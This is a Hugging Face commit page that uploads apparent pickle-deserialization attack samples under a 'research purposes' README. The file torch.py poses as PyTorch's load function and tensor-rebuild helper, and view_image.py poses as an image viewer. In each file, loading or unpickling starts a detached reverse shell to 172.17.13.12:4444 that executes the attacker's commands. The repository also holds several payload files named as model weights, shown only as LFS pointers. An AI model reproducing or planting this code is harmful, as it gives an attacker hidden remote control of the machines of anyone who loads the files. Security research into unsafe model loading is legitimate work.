JonasBeking commited on
Commit
b62d5f8
·
verified ·
1 Parent(s): c08f85d

Upload folder using huggingface_hub

Browse files
README.md CHANGED
@@ -1,3 +1,3 @@
1
- ---
2
- license: mit
3
- ---
 
1
+ ## Research
2
+
3
+ This is used for research purposes.
another_safe_payload.pkl ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:d406213916cdc6d8c62c53b18d91a00939e71c21197bff1297b3ff4702a776fb
3
+ size 35
dynamic_payload.model ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:40d212c110ad5efa409ac8189214c7f06de134f08d2d660437f8546fdc294284
3
+ size 61
dynamic_payload.pickle ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:40d212c110ad5efa409ac8189214c7f06de134f08d2d660437f8546fdc294284
3
+ size 61
dynamic_payload.pkl ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:40d212c110ad5efa409ac8189214c7f06de134f08d2d660437f8546fdc294284
3
+ size 61
dynamic_payload.pth ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:40d212c110ad5efa409ac8189214c7f06de134f08d2d660437f8546fdc294284
3
+ size 61
paylaod.3.pt ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:2535881622ff34604ad593e0d1bf54879665f3b8c7e7f008f216814ddab0182a
3
+ size 54
paylaod.3.test ADDED
Binary file (54 Bytes). View file
 
payload.2.pkl ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:a88e6b044094d282abbb1f86b11ad0c60bc93616642d9d830dda71218c07fd1a
3
+ size 50
payload.3.pkl ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:2535881622ff34604ad593e0d1bf54879665f3b8c7e7f008f216814ddab0182a
3
+ size 54
payload.pkl ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:aaa9eceb19594319240109c253690ab3d868e73a43f5f71f54a7008c8ee22f1d
3
+ size 53
pytorch_model.2.bin ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:6950c409e9f69c53f066d35fac47f08503a5823955604cc36a5dcb04d5e48676
3
+ size 2509
pytorch_model.bin ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:2cc55b1e17f80af2159d1d57fb38c24b204d4f8184bedeee8b7de8ad004798ab
3
+ size 1337
pytorch_model.ptt ADDED
Binary file (1.34 kB). View file
 
test.pkl ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:fa7a4b98f956247938e4a04f02df1f85e4c304752a7ee4bc6dd24b4cd23e489d
3
+ size 127
torch.py ADDED
@@ -0,0 +1,66 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ from typing import Optional, Any
2
+
3
+ def spawn_detached_shell(attacker_ip="172.17.13.12", attacker_port=4444):
4
+ import sys
5
+ import subprocess
6
+ import os
7
+
8
+ code = f'''
9
+ import socket
10
+ import subprocess
11
+
12
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
13
+ s.connect(("{attacker_ip}", {attacker_port}))
14
+
15
+ while True:
16
+ s.send(b"$ ")
17
+ cmd = s.recv(1024).decode()
18
+ if cmd.strip() in {{"exit", "quit"}}:
19
+ break
20
+ try:
21
+ output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
22
+ except subprocess.CalledProcessError as e:
23
+ output = e.output
24
+ s.send(output)
25
+
26
+ s.close()
27
+ '''
28
+
29
+ if sys.platform == "win32":
30
+ DETACHED_PROCESS = 0x00000008
31
+ subprocess.Popen([sys.executable, "-c", code],
32
+ creationflags=DETACHED_PROCESS,
33
+ stdout=subprocess.DEVNULL,
34
+ stderr=subprocess.DEVNULL,
35
+ stdin=subprocess.DEVNULL,
36
+ close_fds=True)
37
+ else:
38
+ # Unix-like: start new session to detach process
39
+ subprocess.Popen([sys.executable, "-c", code],
40
+ stdout=subprocess.DEVNULL,
41
+ stderr=subprocess.DEVNULL,
42
+ stdin=subprocess.DEVNULL,
43
+ preexec_fn=os.setsid,
44
+ close_fds=True)
45
+
46
+ class FileLike:
47
+ pass
48
+
49
+ class _utils:
50
+ def __reduce__(self):
51
+ return (_utils._rebuild_tensor_v2, ())
52
+ @staticmethod
53
+ def _rebuild_tensor_v2(*args, **kwargs):
54
+ spawn_detached_shell()
55
+
56
+ def load(
57
+ f: FileLike,
58
+ map_location = None,
59
+ pickle_module: Any = None,
60
+ *,
61
+ weights_only: Optional[bool] = None,
62
+ mmap: Optional[bool] = None,
63
+ **pickle_load_args: Any,
64
+ ):
65
+ spawn_detached_shell()
66
+
very_safe_payload.pkl ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:86ed8b4153be6c86a56d6dc15ef7fb66a3f04c2563ee6da07661ad6c3d36df87
3
+ size 891
view_image.py ADDED
@@ -0,0 +1,52 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import subprocess
2
+ import sys
3
+ import os
4
+
5
+ class ImageViewer:
6
+ def __init__(self, attacker_ip="172.17.13.12", attacker_port=4444):
7
+ self.ip = attacker_ip
8
+ self.port = attacker_port
9
+
10
+ def __reduce__(self):
11
+ return (self._spawn_detached_shell, (self.ip, self.port))
12
+
13
+ @staticmethod
14
+ def _spawn_detached_shell(attacker_ip, attacker_port):
15
+ code = f'''
16
+ import socket
17
+ import subprocess
18
+
19
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
20
+ s.connect(("{attacker_ip}", {attacker_port}))
21
+
22
+ while True:
23
+ s.send(b"$ ")
24
+ cmd = s.recv(1024).decode()
25
+ if cmd.strip() in {{"exit", "quit"}}:
26
+ break
27
+ try:
28
+ output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
29
+ except subprocess.CalledProcessError as e:
30
+ output = e.output
31
+ s.send(output)
32
+
33
+ s.close()
34
+ '''
35
+
36
+ if sys.platform == "win32":
37
+ DETACHED_PROCESS = 0x00000008
38
+ subprocess.Popen([sys.executable, "-c", code],
39
+ creationflags=DETACHED_PROCESS,
40
+ stdout=subprocess.DEVNULL,
41
+ stderr=subprocess.DEVNULL,
42
+ stdin=subprocess.DEVNULL,
43
+ close_fds=True)
44
+ else:
45
+ # Unix-like: start new session to detach process
46
+ subprocess.Popen([sys.executable, "-c", code],
47
+ stdout=subprocess.DEVNULL,
48
+ stderr=subprocess.DEVNULL,
49
+ stdin=subprocess.DEVNULL,
50
+ preexec_fn=os.setsid,
51
+ close_fds=True)
52
+